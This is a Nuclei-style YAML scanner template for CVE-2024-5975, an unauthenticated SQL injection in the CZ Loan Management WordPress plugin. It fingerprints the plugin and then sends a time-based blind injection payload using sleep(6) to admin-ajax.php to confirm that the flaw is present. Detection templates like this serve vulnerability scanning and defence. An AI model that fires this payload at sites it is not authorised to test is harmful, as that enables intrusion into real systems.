58 lines
1.9 KiB
YAML
58 lines
1.9 KiB
YAML
id: CVE-2024-5975
|
|
|
|
info:
|
|
name: CZ Loan Management <= 1.1 - SQL Injection
|
|
author: securityforeveryone
|
|
severity: critical
|
|
description: |
|
|
The CZ Loan Management WordPress plugin through 1.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-5975
|
|
- https://wpscan.com/vulnerability/68f81943-b007-49c8-be9c-d0405b2ba4cf/
|
|
- https://vuldb.com/?id.272929
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
|
|
cvss-score: 9.1
|
|
cve-id: CVE-2024-5975
|
|
epss-score: 0.00043
|
|
epss-percentile: 0.09404
|
|
metadata:
|
|
vendor: team-contriverz
|
|
product: cz-loan-management
|
|
framework: wordpress
|
|
publicwww-query: "/wp-content/plugins/cz-loan-management"
|
|
tags: cve,cve2024,wpscan,wp-plugin,wordpress,wp,cz-loan-management
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-content/plugins/cz-loan-management/README.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body,"CZ Loan Management")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
@timeout 20s
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=cz_plugin_for_user_get_percentage&selectedperiod=(select*from(select(sleep(6)))a)
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'duration>=6'
|
|
- 'contains(content_type,"text/html")'
|
|
- 'status_code == 200'
|
|
condition: and
|
|
# digest: 4a0a0047304502202cfedabc9957a35e0f37506cfa810e4dbf5d0c596ccde8d1662208e92c9c8343022100e076ba5a516edf8daec029f0117b83110e86aeaa398e3849f5d52fba17d1f0d9:922c64590222798bb761d5b6d8e72950 |